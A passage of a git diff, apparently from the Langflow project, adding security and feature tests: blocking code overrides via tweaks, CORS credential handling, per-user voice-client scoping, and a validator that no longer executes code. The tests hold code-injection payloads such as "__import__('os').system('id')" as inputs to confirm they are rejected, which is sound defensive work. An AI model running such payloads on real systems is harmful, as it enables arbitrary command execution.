monkeypatch.setattr(main_module, "teardown_services", AsyncMock()) + monkeypatch.setattr(main_module, "cleanup_mcp_sessions", AsyncMock()) + + with pytest.raises(RuntimeError, match="Error creating DB and tables") as exc_info: + async with lifespan(object()): + pass + + # The real startup error propagates unchanged... + assert exc_info.value is sentinel + + # ...and the shutdown cleanup itself did not raise. A crash inside the + # ``finally`` block is reported via ``log_exception_to_telemetry`` under the + # "lifespan_cleanup" context, so its absence proves temp_dirs was bound. + cleanup_failures = [context for context, _ in telemetry_calls if context == "lifespan_cleanup"] + assert cleanup_failures == [], f"shutdown cleanup raised during startup failure: {telemetry_calls}" + assert ("lifespan_cleanup", "UnboundLocalError") not in telemetry_calls diff --git a/src/backend/tests/unit/test_openai_base_url_support.py b/src/backend/tests/unit/test_openai_base_url_support.py new file mode 100644 index 0000000000..a14307f7c3 --- /dev/null +++ b/src/backend/tests/unit/test_openai_base_url_support.py @@ -0,0 +1,233 @@ +"""Optional OPENAI_BASE_URL — point the OpenAI provider at a compatible server. + +User report (Discord, 2026-06-11): "i can't set up custom provider or add +base url to openai for langflow assistant." Verified live (2026-06-12): +the OpenAI provider declares only OPENAI_API_KEY, a saved OPENAI_BASE_URL +global variable is ignored everywhere, and key validation always hits +api.openai.com — so a key for a local OpenAI-compatible server (vLLM, +LM Studio, Ollama's /v1) cannot even be saved. + +Design: OPENAI_BASE_URL is OPTIONAL — the existing experience (paste an +API key, static catalog) is byte-identical when it is not set. With it +set, ChatOpenAI targets the custom server, validation validates against +it, and the model list comes live from ``{base}/models``. + +Mock boundaries: ChatOpenAI construction, variable lookups, and the HTTP +fetch — external servers CI cannot reproduce. +""" + +from unittest.mock import MagicMock, patch + +from lfx.base.models.model_metadata import ( + CONDITIONAL_LIVE_MODEL_PROVIDERS, + LIVE_MODEL_PROVIDERS, +) +from lfx.base.models.model_utils import ( + fetch_live_openai_compatible_models, + replace_with_live_models, +) +from lfx.base.models.unified_models import ( + get_model_provider_variable_mapping, + get_provider_all_variables, + get_provider_required_variable_keys, + validate_model_provider_key, +) +from lfx.base.models.unified_models.instantiation import get_llm +from lfx.utils.util import transform_localhost_url + +USER_ID = "00000000-0000-0000-0000-000000000001" +CUSTOM_BASE_URL = "http://localhost:11434/v1" + +OPENAI_MODEL_SPEC = [ + { + "name": "gpt-oss:20b", + "provider": "OpenAI", + "metadata": {}, + } +] + + +class TestProviderMetadata: + def test_should_declare_openai_base_url_as_optional_variable(self): + variables = get_provider_all_variables("OpenAI") + base_url_var = next((v for v in variables if v["variable_key"] == "OPENAI_BASE_URL"), None) + + assert base_url_var is not None, "OpenAI must declare an OPENAI_BASE_URL variable" + assert base_url_var["required"] is False, "Base URL must be optional — key-only setup stays valid" + assert base_url_var["is_secret"] is False + + def test_should_keep_openai_required_keys_unchanged(self): + assert get_provider_required_variable_keys("OpenAI") == ["OPENAI_API_KEY"] + + def test_should_keep_openai_primary_variable_as_the_api_key(self): + assert get_model_provider_variable_mapping()["OpenAI"] == "OPENAI_API_KEY" + + +class TestGetLlmBaseUrl: + def test_should_pass_base_url_to_chat_openai_when_variable_is_set(self): + with patch( + "lfx.base.models.unified_models.get_all_variables_for_provider", + return_value={"OPENAI_API_KEY": "sk-test", "OPENAI_BASE_URL": CUSTOM_BASE_URL}, + ): + llm = get_llm(OPENAI_MODEL_SPEC, USER_ID, api_key="sk-test") + + assert llm.openai_api_base == transform_localhost_url(CUSTOM_BASE_URL) + + def test_should_not_set_base_url_when_variable_is_absent(self): + with patch( + "lfx.base.models.unified_models.get_all_variables_for_provider", + return_value={"OPENAI_API_KEY": "sk-test"}, + ): + llm = get_llm(OPENAI_MODEL_SPEC, USER_ID, api_key="sk-test") + + assert llm.openai_api_base is None + + +class TestKeyValidationWithBaseUrl: + def test_should_validate_against_the_custom_endpoint_when_base_url_is_set(self): + chat_openai = MagicMock() + with patch("langchain_openai.ChatOpenAI", chat_openai): + validate_model_provider_key( + "OpenAI", + {"OPENAI_API_KEY": "anything", "OPENAI_BASE_URL": CUSTOM_BASE_URL}, + model_name="gpt-oss:20b", + ) + + assert chat_openai.call_args.kwargs.get("base_url") == transform_localhost_url(CUSTOM_BASE_URL) + + def test_should_not_pass_base_url_when_not_configured(self): + chat_openai = MagicMock() + with patch("langchain_openai.ChatOpenAI", chat_openai): + validate_model_provider_key("OpenAI", {"OPENAI_API_KEY": "sk-test"}, model_name="gpt-4o-mini") + + assert "base_url" not in chat_openai.call_args.kwargs + + +class TestLiveOpenAICompatibleModels: + def test_should_return_empty_when_no_base_url_is_configured(self): + with patch( + "lfx.base.models.model_utils.get_provider_variable_value", + return_value=None, + ): + assert fetch_live_openai_compatible_models(USER_ID, "llm") == [] + + def test_should_list_models_from_the_custom_server(self): + response = MagicMock() + response.json.return_value = {"data": [{"id": "gpt-oss:20b"}, {"id": "llama3.2:latest"}]} + response.raise_for_status.return_value = None + with ( + patch( + "lfx.base.models.model_utils.get_provider_variable_value", + side_effect=lambda _uid, key: CUSTOM_BASE_URL if key == "OPENAI_BASE_URL" else "sk-test", + ), + patch("requests.get", return_value=response) as http_get, + ): + models = fetch_live_openai_compatible_models(USER_ID, "llm") + + assert [m["name"] for m in models] == ["gpt-oss:20b", "llama3.2:latest"] + assert all(m["tool_calling"] for m in models) + assert http_get.call_args.args[0] == f"{CUSTOM_BASE_URL}/models" + + def test_should_not_list_embeddings_from_the_custom_server(self): + with patch( + "lfx.base.models.model_utils.get_provider_variable_value", + return_value=CUSTOM_BASE_URL, + ): + assert fetch_live_openai_compatible_models(USER_ID, "embeddings") == [] + + +class TestConditionalLiveReplacement: + """OpenAI is live ONLY when a base URL is configured. + + A normal OpenAI user (key only) must keep the curated static catalog — + an empty live fetch must NOT wipe it (that wipe is the existing, + intentional behavior for always-live providers like Ollama). + """ + + def test_should_declare_openai_as_conditional_live_provider(self): + assert "OpenAI" in CONDITIONAL_LIVE_MODEL_PROVIDERS + assert "OpenAI" not in LIVE_MODEL_PROVIDERS + + def test_should_keep_static_catalog_when_openai_live_fetch_is_empty(self): + catalog = [{"provider": "OpenAI", "models": [{"model_name": "gpt-4o-mini", "metadata": {}}]}] + with patch( + "lfx.base.models.model_utils.get_live_models_for_provider", + return_value=[], + ): + replace_with_live_models(catalog, USER_ID, ["OpenAI"], model_type="llm") + + assert [m["model_name"] for m in catalog[0]["models"]] == ["gpt-4o-mini"] + + def test_should_replace_catalog_with_server_models_when_base_url_is_configured(self): + catalog = [{"provider": "OpenAI", "models": [{"model_name": "gpt-4o-mini", "metadata": {}}]}] + live = [{"name": "gpt-oss:20b", "provider": "OpenAI", "tool_calling": True}] + with patch( + "lfx.base.models.model_utils.get_live_models_for_provider", + return_value=live, + ): + replace_with_live_models(catalog, USER_ID, ["OpenAI"], model_type="llm") + + assert [m["model_name"] for m in catalog[0]["models"]] == ["gpt-oss:20b"] + + +class TestMalformedModelsPayload: + """C7: a non-conforming /models payload from an arbitrary server degrades to [], not raises.""" + + def _fetch(self, payload): + from lfx.base.models import model_utils + + class FakeResp: + def raise_for_status(self): + return None + + def json(self): + return payload + + with ( + patch.object( + model_utils, + "get_provider_variable_value", + side_effect=lambda _uid, key: CUSTOM_BASE_URL if key == "OPENAI_BASE_URL" else "sk-x", + ), + patch("requests.get", return_value=FakeResp()), + ): + return fetch_live_openai_compatible_models(USER_ID, "llm") + + def test_should_return_empty_when_payload_is_a_list_not_a_dict(self): + assert self._fetch(["gpt-4", "gpt-3.5"]) == [] + + def test_should_return_empty_when_data_is_a_list_of_strings(self): + assert self._fetch({"data": ["gpt-4"]}) == [] + + def test_should_skip_non_dict_entries_but_keep_valid_ones(self): + models = self._fetch({"data": ["junk", {"id": "gpt-oss:20b"}]}) + assert [m["name"] for m in models] == ["gpt-oss:20b"] + + +class TestBaseUrlNormalizationParity: + """C8/C5: validation normalizes OPENAI_BASE_URL like runtime (Docker localhost parity).""" + + TRANSFORMED = "http://host.docker.internal:11434/v1" + + def test_validation_normalizes_base_url_like_runtime(self): + chat_openai = MagicMock() + with ( + patch("langchain_openai.ChatOpenAI", chat_openai), + patch("lfx.utils.util.transform_localhost_url", return_value=self.TRANSFORMED), + ): + validate_model_provider_key( + "OpenAI", + {"OPENAI_API_KEY": "sk-x", "OPENAI_BASE_URL": "http://localhost:11434/v1"}, + model_name="gpt-oss:20b", + ) + + assert chat_openai.call_args.kwargs.get("base_url") == self.TRANSFORMED + + def test_get_llm_normalizes_base_url(self): + with patch( + "lfx.base.models.unified_models.get_all_variables_for_provider", + return_value={"OPENAI_API_KEY": "sk-test", "OPENAI_BASE_URL": CUSTOM_BASE_URL}, + ): + llm = get_llm(OPENAI_MODEL_SPEC, USER_ID, api_key="sk-test") + + assert llm.openai_api_base == transform_localhost_url(CUSTOM_BASE_URL) diff --git a/src/backend/tests/unit/test_process.py b/src/backend/tests/unit/test_process.py index e752b80b8f..4e97cdc8ca 100644 --- a/src/backend/tests/unit/test_process.py +++ b/src/backend/tests/unit/test_process.py @@ -489,8 +489,8 @@ def test_apply_tweaks_code_override_prevention(): with patch("langflow.processing.process.logger") as mock_logger: apply_tweaks(node, node_tweaks) - # Verify warning was logged for code override attempt - mock_logger.warning.assert_called_once_with("Security: Code field cannot be overridden via tweaks.") + # Verify warning was logged for code override attempt (and names the field) + mock_logger.warning.assert_called_once_with("Security: refusing to override code field 'code' via tweaks.") # Verify code field was NOT modified assert node["data"]["node"]["template"]["code"]["value"] == "original_code" @@ -524,13 +524,141 @@ def test_apply_tweaks_code_only_prevention(): with patch("langflow.processing.process.logger") as mock_logger: apply_tweaks(node, node_tweaks) - # Verify warning was logged - mock_logger.warning.assert_called_once_with("Security: Code field cannot be overridden via tweaks.") + # Verify warning was logged and names the offending field (not a generic "Code field"). + mock_logger.warning.assert_called_once_with("Security: refusing to override code field 'code' via tweaks.") # Verify code field was NOT modified assert node["data"]["node"]["template"]["code"]["value"] == "original_code" +def test_apply_tweaks_blocks_code_type_field_with_other_name(): + """A code-injection bypass: a field of type 'code' but named something other than 'code'. + + The old guard only blocked the literal field name 'code'. Block by field *type*. + """ + from langflow.processing.process import apply_tweaks + + node = { + "id": "n", + "data": { + "node": { + "template": { + "custom_source": {"value": "original", "type": "code"}, + "param1": {"value": "ok", "type": "str"}, + } + } + }, + } + apply_tweaks(node, {"custom_source": "import os; os.system('id')", "param1": "new"}) + + # The code-type field must NOT be overridden; the ordinary field is fine. + assert node["data"]["node"]["template"]["custom_source"]["value"] == "original" + assert node["data"]["node"]["template"]["param1"]["value"] == "new" + + +def test_apply_tweaks_blocks_code_execution_component_fields(): + """Tweaks must not override the executable/sandbox inputs of a code-execution component. + + The executable input lives under names like 'python_code' (MultilineInput → type + 'str'), not 'code', so the block keys off the component *type* + (CODE_EXECUTION_COMPONENT_TYPES) plus the code/sandbox field names + (CODE_EXECUTION_FIELD_NAMES). 'global_imports' is the import allow-list that + populates the exec() namespace and must stay blocked too. + """ + from langflow.processing.process import apply_tweaks + + node = { + "id": "n", + "data": { + "type": "PythonREPLComponent", + "node": { + "template": { + "python_code": {"value": "print('safe')", "type": "str"}, + "global_imports": {"value": "math", "type": "str"}, + } + }, + }, + } + apply_tweaks(node, {"python_code": "__import__('os').system('id')", "global_imports": "os,subprocess"}) + + assert node["data"]["node"]["template"]["python_code"]["value"] == "print('safe')" + assert node["data"]["node"]["template"]["global_imports"]["value"] == "math" + + +def test_apply_tweaks_allows_benign_fields_on_code_execution_component(): + """Scoped block: benign fields on a code-execution component remain tweakable. + + Regression for the over-block where every field on a code-execution node was + dropped — renaming a Python REPL tool (name/description) must still work. + """ + from langflow.processing.process import apply_tweaks + + node = { + "id": "n", + "data": { + "type": "PythonREPLTool", + "node": { + "template": { + "name": {"value": "old_name", "type": "str"}, + "description": {"value": "old desc", "type": "str"}, + "code": {"value": "print('safe')", "type": "str"}, + } + }, + }, + } + apply_tweaks(node, {"name": "new_name", "description": "new desc", "code": "__import__('os').system('id')"}) + + # Benign metadata is applied; the executable 'code' field is still blocked. + assert node["data"]["node"]["template"]["name"]["value"] == "new_name" + assert node["data"]["node"]["template"]["description"]["value"] == "new desc" + assert node["data"]["node"]["template"]["code"]["value"] == "print('safe')" + + +def test_apply_tweaks_blocks_removed_python_code_structured_tool_code(): + """The removed PythonCodeStructuredTool's exec input is 'tool_code' (type 'str'). + + Its type is retained in CODE_EXECUTION_COMPONENT_TYPES to keep stored code in + existing flows un-overridable; the tweak guard must cover 'tool_code' too. + """ + from langflow.processing.process import apply_tweaks + + node = { + "id": "n", + "data": { + "type": "PythonCodeStructuredTool", + "node": {"template": {"tool_code": {"value": "stored_code", "type": "str"}}}, + }, + } + apply_tweaks(node, {"tool_code": "__import__('os').system('id')"}) + + assert node["data"]["node"]["template"]["tool_code"]["value"] == "stored_code" + + +def test_apply_tweaks_smart_transform_blocks_instruction_allows_data(): + """Smart Transform's 'filter_instruction' drives an eval()'d lambda → blocked. + + Other inputs (data, sample_size, ...) carry no code and stay tweakable. + """ + from langflow.processing.process import apply_tweaks + + node = { + "id": "n", + "data": { + "type": "Smart Transform", + "node": { + "template": { + "filter_instruction": {"value": "uppercase the text", "type": "str"}, + "sample_size": {"value": 10, "type": "int"}, + } + }, + }, + } + apply_tweaks(node, {"filter_instruction": "lambda x: __import__('os').system('id')", "sample_size": 25}) + + assert node["data"]["node"]["template"]["filter_instruction"]["value"] == "uppercase the text" + assert node["data"]["node"]["template"]["sample_size"]["value"] == 25 + + def test_apply_tweaks_mcp_field_type(): """Test that MCP field types are handled correctly with dict values.""" from langflow.processing.process import apply_tweaks diff --git a/src/backend/tests/unit/test_redis_job_queue_service.py b/src/backend/tests/unit/test_redis_job_queue_service.py index 83180a7ef7..2270bd1aaf 100644 --- a/src/backend/tests/unit/test_redis_job_queue_service.py +++ b/src/backend/tests/unit/test_redis_job_queue_service.py @@ -909,10 +909,29 @@ async def test_redis_service_cancel_marker_closes_signal_before_subscribe_race() producer, _ = await _make_service(shared_client=shared_client) try: job_id = str(uuid.uuid4()) - # Publish a cancel BEFORE the producer has registered the job. The - # pubsub publish reaches no relevant owner; only the marker key matters. + # Publish a cancel BEFORE the producer has registered the job. await publisher.signal_cancel(job_id) + # In production there is real elapsed time between the publish and this + # worker registering the job, so the producer's cancel dispatcher receives + # the publish while it owns no matching queue and discards it (counted as a + # "foreign" dispatch). Wait for that to happen before create_queue/start_job + # so this single-process test reproduces the real ordering: the pubsub + # signal is spent before the job exists, leaving only the persistent marker + # to surface the cancel during start_job's marker check. Without this, the + # buffered publish can land in the window after start_job registers the task + # but before that task runs its first step, cancelling it before the build + # coroutine ever starts — a scheduling-order artifact of the shared loop, not + # the marker mechanism under test. + async def _dispatcher_discarded_publish() -> None: + # Poll the dispatcher's stat counter: it is mutated by an opaque + # background task, so there is no Event to await (asyncio.wait_for + # below bounds the wait). + while producer._cancel_stats["dispatched_foreign"] < 1: # noqa: ASYNC110 + await asyncio.sleep(0.01) + + await asyncio.wait_for(_dispatcher_discarded_publish(), timeout=2) + producer.create_queue(job_id) cancelled = asyncio.Event() diff --git a/src/backend/tests/unit/test_security_cors.py b/src/backend/tests/unit/test_security_cors.py index 67e564caf5..0efa35ddd3 100644 --- a/src/backend/tests/unit/test_security_cors.py +++ b/src/backend/tests/unit/test_security_cors.py @@ -168,13 +168,18 @@ class TestCORSConfiguration: @patch("langflow.main.add_sentry_middleware") # Mock Sentry setup @patch("langflow.main.get_settings_service") @patch("langflow.main.logger") - def test_cors_wildcard_credentials_runtime_check_current_behavior( + def test_cors_wildcard_credentials_disabled_at_middleware( self, mock_logger, mock_get_settings, mock_add_sentry_middleware ): - """Test runtime validation prevents wildcard with credentials (current behavior).""" + """Wildcard CORS origins must NOT be paired with credentials at the middleware. + + Even though the setting defaults to credentials=True, a wildcard origin makes + the credentialed-CORS combination unsafe (and invalid per the spec), so the + middleware must be configured with allow_credentials=False. + """ from langflow.main import create_app - # Mock settings with configuration that triggers current security measure + # Mock settings with the insecure wildcard + credentials combination. mock_settings = MagicMock() mock_settings.settings.cors_origins = "*" mock_settings.settings.cors_allow_credentials = True # Gets disabled for security @@ -189,15 +194,13 @@ class TestCORSConfiguration: mock_add_sentry_middleware.return_value = None # Use the mock app = create_app() - # Check that warning was logged about deprecation/security - # The actual warning message is different from what we expected + # The permissive-defaults warning still fires (the setting is unchanged). warning_calls = [str(call) for call in mock_logger.warning.call_args_list] - # We expect warnings about the insecure configuration - check for the actual message assert any("CORS" in str(call) and "permissive" in str(call) for call in warning_calls), ( f"Expected CORS security warning but got: {warning_calls}" ) - # Find CORS middleware and verify credentials are still allowed (current insecure behavior) + # Find CORS middleware and verify credentials were force-disabled for the wildcard. cors_middleware = None for middleware in app.user_middleware: if middleware.cls == CORSMiddleware: @@ -206,16 +209,123 @@ class TestCORSConfiguration: assert cors_middleware is not None assert cors_middleware.kwargs["allow_origins"] == "*" - assert cors_middleware.kwargs["allow_credentials"] is True # Current behavior: NOT disabled (insecure!) + assert cors_middleware.kwargs["allow_credentials"] is False # wildcard => credentials disabled - # Warn about the security implications - warnings.warn( - "CRITICAL SECURITY WARNING: Current behavior allows wildcard origins WITH CREDENTIALS ENABLED! " - "This is a severe security vulnerability. Any website can make authenticated requests. " - "In v1.7, this will be changed to secure defaults with specific origins only.", - UserWarning, - stacklevel=2, + # The override must be surfaced so an operator who set credentials on purpose + # can see why credentialed requests stopped working. + assert any( + "CORS" in str(call) and "wildcard" in str(call) and "credentials" in str(call) for call in warning_calls + ), f"Expected a wildcard-credentials override warning but got: {warning_calls}" + + @pytest.mark.parametrize( + ("origins", "expected"), + [ + ("*", True), + (["*"], True), + (["https://app.example.com", "*"], True), + ("https://app.example.com", False), + (["https://app.example.com"], False), + (["https://a.example.com", "https://b.example.com"], False), + ([], False), + ], + ) + def test_cors_origins_contain_wildcard(self, origins, expected): + """The shared wildcard predicate detects every wildcard origin shape.""" + from langflow.main import cors_origins_contain_wildcard + + assert cors_origins_contain_wildcard(origins) is expected + + @patch("langflow.main.add_sentry_middleware") # Mock Sentry setup + @patch("langflow.main.get_settings_service") + @patch("langflow.main.logger") + def test_cors_list_wildcard_credentials_disabled_and_warned( + self, mock_logger, mock_get_settings, mock_add_sentry_middleware + ): + """A wildcard mixed into a list of specific origins must still disable credentials and warn. + + This is the gap the string-only check missed: ``LANGFLOW_CORS_ORIGINS="https://app.com,*"`` + parses to ``["https://app.com", "*"]``. Credentials must be force-disabled, and both the + permissive-defaults warning and the explicit override warning must fire so the operator is + not left guessing why credentialed requests stopped working. + """ + from langflow.main import create_app + + mock_settings = MagicMock() + mock_settings.settings.cors_origins = ["https://app.example.com", "*"] + mock_settings.settings.cors_allow_credentials = True # Gets disabled for security + mock_settings.settings.cors_allow_methods = "*" + mock_settings.settings.cors_allow_headers = "*" + mock_settings.settings.prometheus_enabled = False + mock_settings.settings.mcp_server_enabled = False + mock_settings.settings.sentry_dsn = None # Disable Sentry + mock_get_settings.return_value = mock_settings + + mock_add_sentry_middleware.return_value = None # Use the mock + app = create_app() + + warning_calls = [str(call) for call in mock_logger.warning.call_args_list] + # The shared predicate now makes the permissive-defaults warning fire for list-form wildcards. + assert any("CORS" in str(call) and "permissive" in str(call) for call in warning_calls), ( + f"Expected CORS permissive-defaults warning but got: {warning_calls}" ) + # And the explicit override warning points at the wildcard as the cause. + assert any( + "CORS" in str(call) and "wildcard" in str(call) and "credentials" in str(call) for call in warning_calls + ), f"Expected a wildcard-credentials override warning but got: {warning_calls}" + + cors_middleware = None + for middleware in app.user_middleware: + if middleware.cls == CORSMiddleware: + cors_middleware = middleware + break + + assert cors_middleware is not None + assert cors_middleware.kwargs["allow_origins"] == ["https://app.example.com", "*"] + assert cors_middleware.kwargs["allow_credentials"] is False # wildcard in list => credentials disabled + + @patch("langflow.main.add_sentry_middleware") # Mock Sentry setup + @patch("langflow.main.get_settings_service") + @patch("langflow.main.logger") + def test_cors_wildcard_without_credentials_no_override_warning( + self, mock_logger, mock_get_settings, mock_add_sentry_middleware + ): + """When credentials are already off, a wildcard origin must not log a spurious override warning. + + The override warning is only meaningful when we actually flip ``allow_credentials`` from True + to False; otherwise there is nothing to surface. + """ + from langflow.main import create_app + + mock_settings = MagicMock() + mock_settings.settings.cors_origins = "*" + mock_settings.settings.cors_allow_credentials = False # already disabled by the operator + mock_settings.settings.cors_allow_methods = "*" + mock_settings.settings.cors_allow_headers = "*" + mock_settings.settings.prometheus_enabled = False + mock_settings.settings.mcp_server_enabled = False + mock_settings.settings.sentry_dsn = None # Disable Sentry + mock_get_settings.return_value = mock_settings + + mock_add_sentry_middleware.return_value = None # Use the mock + app = create_app() + + warning_calls = [str(call) for call in mock_logger.warning.call_args_list] + # No credentials => no permissive-defaults warning and no override warning. + assert not any("permissive" in str(call) for call in warning_calls), ( + f"Did not expect a permissive-defaults warning but got: {warning_calls}" + ) + assert not any("disabling credentials" in str(call) for call in warning_calls), ( + f"Did not expect a wildcard-credentials override warning but got: {warning_calls}" + ) + + cors_middleware = None + for middleware in app.user_middleware: + if middleware.cls == CORSMiddleware: + cors_middleware = middleware + break + + assert cors_middleware is not None + assert cors_middleware.kwargs["allow_credentials"] is False class TestRefreshTokenSecurity: diff --git a/src/backend/tests/unit/test_voice_mode_client_scoping.py b/src/backend/tests/unit/test_voice_mode_client_scoping.py new file mode 100644 index 0000000000..4fcb1140f3 --- /dev/null +++ b/src/backend/tests/unit/test_voice_mode_client_scoping.py @@ -0,0 +1,68 @@ +"""Regression tests for voice-mode cross-tenant client confusion. + +The ElevenLabs client must be built per requesting user (no process-global +singleton), and the voice/TTS config caches must be keyed by the authenticated +user, not just the client-supplied session_id. +""" + +import langflow.api.v1.voice_mode as vm +import pytest + + +@pytest.mark.asyncio +async def test_get_or_create_elevenlabs_client_is_per_user(monkeypatch): + """Each user gets an ElevenLabs client built from their OWN key (no shared singleton).""" + keys = {"user-a": "key-a", "user-b": "key-b"} + + class FakeVariableService: + async def get_variable(self, *, user_id, name, field, session): # noqa: ARG002 + return keys[user_id] + + monkeypatch.setattr(vm, "get_variable_service", lambda: FakeVariableService()) + + captured: list[str] = [] + + def fake_elevenlabs(*, api_key): + captured.append(api_key) + return f"client::{api_key}" + + monkeypatch.setattr(vm, "ElevenLabs", fake_elevenlabs) + + client_a = await vm.get_or_create_elevenlabs_client("user-a", "sess") + client_b = await vm.get_or_create_elevenlabs_client("user-b", "sess") + + # Built from each user's own key — user-b is NOT served user-a's cached client. + assert client_a == "client::key-a" + assert client_b == "client::key-b" + assert captured == ["key-a", "key-b"] + + +@pytest.mark.asyncio +async def test_get_or_create_elevenlabs_client_requires_user_and_session(): + """No user/session -> no client (avoids falling back to some other tenant's key).""" + assert await vm.get_or_create_elevenlabs_client(None, None) is None + assert await vm.get_or_create_elevenlabs_client("user", None) is None + + +def test_get_voice_config_scoped_by_user(): + """Same client-supplied session_id but different users must not share a VoiceConfig.""" + vm.voice_config_cache.clear() + + a = vm.get_voice_config("shared-session", "user-a") + b = vm.get_voice_config("shared-session", "user-b") + a_again = vm.get_voice_config("shared-session", "user-a") + + assert a is not b + assert a is a_again # same (user, session) is still cached + + +def test_get_tts_config_scoped_by_user(): + """Same session_id but different users must not share a TTSConfig / OpenAI client.""" + vm.tts_config_cache.clear() + + a = vm.get_tts_config("shared-session", "openai-key-a", "user-a") + b = vm.get_tts_config("shared-session", "openai-key-b", "user-b") + + assert a is not b + # The OpenAI client (built from each user's key) is not shared across users. + assert a.get_openai_client() is not b.get_openai_client() diff --git a/src/backend/tests/unit/utils/test_validate.py b/src/backend/tests/unit/utils/test_validate.py index 63c16a24f0..0fe36a95ec 100644 --- a/src/backend/tests/unit/utils/test_validate.py +++ b/src/backend/tests/unit/utils/test_validate.py @@ -6,7 +6,6 @@ from unittest.mock import Mock, patch import pytest from lfx.custom.validate import ( - _create_langflow_execution_context, add_type_ignores, build_class_constructor, compile_class_code, @@ -119,6 +118,26 @@ def error_function(): assert result["imports"]["errors"] == [] assert result["function"]["errors"] == [] + def test_validate_code_does_not_execute_default_args(self, tmp_path): + """validate_code must not run function-definition-time code. + + Regression for GHSA-2wcq-pvw2-xh7v: the + validator previously exec()'d each function definition, so a default + argument (or decorator) expression executed during validation. Here a + default arg would create a file as a side effect; it must NOT run. + """ + marker = tmp_path / "pwned.txt" + code = f'def exploit(x=open({str(marker)!r}, "w").write("pwned")):\n return x\n' + + result = validate_code(code) + + # No code executed -> the side-effect file was never created. + assert not marker.exists() + # Validation still returns the normal structure (valid syntax, no imports). + assert result["imports"]["errors"] == [] + # Code is syntactically valid, so no compile errors expected. + assert result["function"]["errors"] == [] + def test_code_with_multiple_imports(self): """Test validation handles multiple imports.""" code = """ @@ -149,52 +168,6 @@ def test_func(): mock_logger.debug.assert_called_with("Error parsing code", exc_info=True) -class TestCreateLangflowExecutionContext: - """Test cases for _create_langflow_execution_context function.""" - - def test_creates_context_with_langflow_imports(self): - """Test that context includes langflow imports.""" - # The function imports modules inside try/except blocks - # We don't need to patch anything, just test it works - context = _create_langflow_execution_context() - - # Check that the context contains the expected keys - # The actual imports may succeed or fail, but the function should handle both cases - assert isinstance(context, dict) - # These keys should be present regardless of import success/failure - expected_keys = ["DataFrame", "Message", "Data", "Component", "HandleInput", "Output", "TabInput"] - for key in expected_keys: - assert key in context, f"Expected key '{key}' not found in context" - - def test_creates_mock_classes_on_import_failure(self): - """Test that mock classes are created when imports fail.""" - # Test that the function handles import failures gracefully - # by checking the actual implementation behavior - with patch("builtins.__import__", side_effect=ImportError("Module not found")): - context = _create_langflow_execution_context() - - # Even with import failures, the context should still be created - assert isinstance(context, dict) - # The function should create mock classes when imports fail - if "DataFrame" in context: - assert isinstance(context["DataFrame"], type) - - def test_includes_typing_imports(self): - """Test that typing imports are included.""" - context = _create_langflow_execution_context() - - assert "Any" in context - assert "Dict" in context - assert "List" in context - assert "Optional" in context - assert "Union" in context - - def test_does_not_include_pandas(self): - """Test that pandas is not included in the langflow execution context.""" - context = _create_langflow_execution_context() - assert "pd" not in context - - class TestEvalFunction: """Test cases for eval_function function.""" diff --git a/src/bundles/lfx-bundles/src/lfx_bundles/altk/altk_agent.py b/src/bundles/lfx-bundles/src/lfx_bundles/altk/altk_agent.py index f167eec75e..3118ef8999 100644 --- a/src/bundles/lfx-bundles/src/lfx_bundles/altk/altk_agent.py +++ b/src/bundles/lfx-bundles/src/lfx_bundles/altk/altk_agent.py @@ -20,6 +20,14 @@ def set_advanced_true(component_input): MODEL_PROVIDERS_LIST = ["Anthropic", "OpenAI"] INPUT_NAMES_TO_BE_OVERRIDDEN = ["agent_llm"] +VERBOSE_INPUT_INFO = ( + "Legacy toggle. The '> Entering new ... chain' / '> Finished chain.' " + "markers it used to print to stdout are now gated on the " + "LANGCHAIN_VERBOSE environment variable (off by default); set " + "LANGCHAIN_VERBOSE=true to emit them. Toggling this input on its own no " + "longer attaches LangChain's stdout handler. Agent steps remain visible " + "in the UI regardless of this setting." +) def get_parent_agent_inputs(): @@ -52,14 +60,22 @@ def get_parent_agent_inputs(): for input_field in ALTKBaseAgentComponent.inputs if input_field.name not in INPUT_NAMES_TO_BE_OVERRIDDEN ] - # `verbose` was removed from `AgentComponent.inputs`. ALTK's `run_agent` still - # passes it through to `AgentExecutor.from_agent_and_tools(verbose=...)`, so - # re-add it after `handle_parsing_errors` to preserve the previous UI order. + # `verbose` was removed from `AgentComponent.inputs`. ALTK still runs through + # AgentExecutor, but stdout markers now follow LANGCHAIN_VERBOSE via + # resolve_agent_verbose(); keep the legacy input with explanatory UI text. rebuilt: list = [] for input_field in parent_inputs: rebuilt.append(input_field) if input_field.name == "handle_parsing_errors": - rebuilt.append(BoolInput(name="verbose", display_name="Verbose", value=True, advanced=True)) + rebuilt.append( + BoolInput( + name="verbose", + display_name="Verbose", + value=True, + advanced=True, + info=VERBOSE_INPUT_INFO, + ) + ) return rebuilt diff --git a/src/bundles/lfx-bundles/src/lfx_bundles/cuga/cuga_agent.py b/src/bundles/lfx-bundles/src/lfx_bundles/cuga/cuga_agent.py index 32cb3658fe..3dfe03d2d2 100644 --- a/src/bundles/lfx-bundles/src/lfx_bundles/cuga/cuga_agent.py +++ b/src/bundles/lfx-bundles/src/lfx_bundles/cuga/cuga_agent.py @@ -47,6 +47,39 @@ def set_advanced_true(component_input): MODEL_PROVIDERS_LIST = ["OpenAI"] +_CUGA_CODE_AGENT_GUARD_ATTR = "_langflow_code_agent_guard_installed" + + +def _validate_cuga_code_agent_source(code_executor_cls: Any, security_validator_cls: Any, code: str) -> None: + """Apply CUGA's strict validation to CodeAgent-generated Python before execution.""" + security_validator_cls.validate_imports(code) + wrapped_code = code_executor_cls._wrap_code_for_code_agent(code) # noqa: SLF001 + security_validator_cls.validate_wrapped_code(wrapped_code) + + +def _install_cuga_code_agent_security_guard() -> None: + """Guard CUGA CodeAgent execution with the stricter CUGA Lite validator.""" + from cuga.backend.cuga_graph.nodes.cuga_lite.executors.code_executor import CodeExecutor + from cuga.backend.cuga_graph.nodes.cuga_lite.executors.common import SecurityValidator + + if getattr(CodeExecutor, _CUGA_CODE_AGENT_GUARD_ATTR, False): + return + + original_eval_for_code_agent = CodeExecutor.eval_for_code_agent + + async def guarded_eval_for_code_agent( + cls, + code: str, + state: Any, + mode: Any = None, + **kwargs: Any, + ) -> tuple[str, dict[str, Any]]: + _validate_cuga_code_agent_source(cls, SecurityValidator, code) + return await original_eval_for_code_agent(code=code, state=state, mode=mode, **kwargs) + + CodeExecutor.eval_for_code_agent = classmethod(guarded_eval_for_code_agent) + setattr(CodeExecutor, _CUGA_CODE_AGENT_GUARD_ATTR, True) + class CugaComponent(ToolCallingAgentComponent): """Cuga Agent Component for advanced AI task execution. @@ -220,6 +253,8 @@ class 